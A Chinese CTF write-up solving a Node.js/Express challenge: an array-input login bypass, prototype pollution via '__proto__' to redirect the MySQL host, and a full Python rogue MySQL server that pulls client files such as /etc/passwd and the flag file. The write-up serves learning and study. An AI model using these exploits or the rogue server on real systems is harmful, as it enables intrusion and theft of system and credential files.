从一道有趣的关于nodejs的ctf题目中学到的东西

前言

最近期末了,因此一直都在复现准备期末考试,最近都没有时间做做题目了,因此最近找了一道题目来看看把学到的东西总结了一下。

0x01 首先要更改nodejs的mysql连接方式。
1
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'ljdd520'
0x02 题目的首页如下:

0x03 接下来你会想到什么?
1. 在这里你可能会想到爆破,sql注入等但是都不是。
2. 现在你应该看看他的数据包,找找信息,比如这个就是一个Express空架,就是nodejs做后台,那么你会想到什么呢。
3. 下面就来介绍一下nodejs作为弱类型的一些特性。
我通过代码调试到达这个函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SqlString.arrayToList = function arrayToList(array, timeZone) {
var sql = '';

for (var i = 0; i < array.length; i++) {
var val = array[i];

if (Array.isArray(val)) {
sql += (i === 0 ? '' : ', ') + '(' + SqlString.arrayToList(val, timeZone) + ')';
} else {
sql += (i === 0 ? '' : ', ') + SqlString.escape(val, true, timeZone);
}
}

return sql;
};
上面这个会把传入参数如[0]中的值解析出来val=0
紧接着调试的结果如下:

执行的sql语句如下:
1
select * from users where user= 0 and passwd=0
最后的结果如下:

参考链接
现在我们通过了第一步:
1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 161
ETag: W/"a1-/vIr3oQBdfpiQE1dF+xyIMGu9Q4"
Date: Tue, 31 Dec 2019 15:27:06 GMT
Connection: close

{"ok":"congratulations","msg":"pls look \\kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh\\jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js"}
0x04 现在我们拿到了后端的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
const express = require('express');
const router = express.Router();
const mysql = require( 'mysql' );

class Database {
constructor( config ) {
this.connection = mysql.createConnection( config );
}
query( sql, args ) {
return new Promise( ( resolve, reject ) => {
this.connection.query( sql, args, ( err, rows ) => {
if ( err )
return reject( err );
resolve( rows );
} );
} );
}
close() {
return new Promise( ( resolve, reject ) => {
this.connection.end( err => {
if ( err )
return reject(err);
resolve();
} );
} );
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (let attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}

function clone(a) {
return merge({}, a);
}

router.get('/',function (req,res,next) {
console.log("index");
res.render('index', {title: 'HTML'});
});

/* GET home page. */
router.post('/', function(req, res, next) {
const body = JSON.parse(JSON.stringify(req.body));
if (body.host !== undefined) {
res.json({
"error": "error","msg":"no !! !!"
});
process.exit(-1);
}
const copybody = clone(body);
const host = copybody.host === undefined ? "localhost" : copybody.host;
const config = {
host: host,
user: 'root',
password: 'aaadfsafsdafadsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
database: 'tdafsffaft'
};

let database=new Database(config);


let someRows, otherRows;
database.query( 'select * from user where user= ? and passwd =?', [copybody.user,copybody.passwd] )
.then( rows => {
console.log('The solution is: ', rows[0].user);
if (1 === rows[0].id) {
res.json({
"ok": "congratulations","msg":"pls look //kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js"
})
} else {
res.json({
"error": "cookie not set","msg":"1111111111"
})
}
})
.then( rows => {
otherRows = rows;
return database.close();
},err => {
return database.close().then( () => { throw err; } )
})
.then( () => {
res.json({
"error": "err","msg":"user or pass err"
})
})
.catch( err => {
res.json({
"error": "err","msg":"user or pass err"
})
})
});

module.exports = router;

/* flag in /home/flag.txt */
我们可以看到这个题目可以通过控制host参数去改变mysql的连接地址,这里有个mysql客户端任意文件读取的问题,参考链接如下:
https://blog.csdn.net/ls1120704214/article/details/88174003
如果直接在json中传递{"host":""},不会有任何的作用,因为有过滤。
1
2
3
4
5
6
if (body.host !== undefined) {
res.json({
"error": "error","msg":"no !! !!"
});
process.exit(-1);
}
如果发现有直接传递进来的host参数,nodejs就报错退出,所以,通过仔细观察源代码,发现这个代码有参数污染问题,关于参数污染,可以参考这篇文章:
https://www.4hou.com/technology/16328.html
所以就可以通过构造如下参数去改变host参数,把host参数变成我们自己mysql服务器的地址
首先,我要先把我服务器中的Rogue-mysql-Serverrogue_mysql_server.py中的filelist改成flag的地址
1
2
3
4
5
6
7
8
filelist = (
# r'c:\boot.ini',
# r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
# '/etc/passwd',
# '/etc/shadow',
'/home/flag.txt',
)
之后利用原型链的污染将host改为如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 192.168.1.106:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 64
Origin: http://192.168.1.106:3000
Connection: close
Referer: http://192.168.1.106:3000/

{"user":[0],"passwd":[0],"__proto__":{"host":"192.168.220.157"}}
就可以在mysql服务器日志中收到flag了。
0x05 PHP with PDO
1
2
3
4
5
6
<?php
$pdo=new PDO("mysql:host=127.0.0.1;port=3306;dbname=anydb",'root','123456',array(PDO::MYSQL_ATTR_LOCAL_INFILE=>true,));
echo "connect ok!";
$stmt=$pdo->prepare('select *from users');
$stmt->execute();
$pdo=null;
其余的语言同理。
恶意mysql服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/etc/passwd',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()
0x06 参考链接
https://xz.aliyun.com/t/6991
https://blog.csdn.net/ls1120704214/article/details/88174003
MySQL :: MySQL Internals Manual :: 14 MySQL Client/Server Protocol
从MySQL出发的反击之路
Read MySQL Client’s File - 不发光的博客
如何利用MySQL LOCAL INFILE读取客户端文件
MySQL connect file read
https://stackoverflow.com/questions/7638090/load-data-local-infile-forbidden-in-php
https://github.com/allyshka/Rogue-MySql-Server
https://www.cnblogs.com/BOHB-yunying/p/10820453.html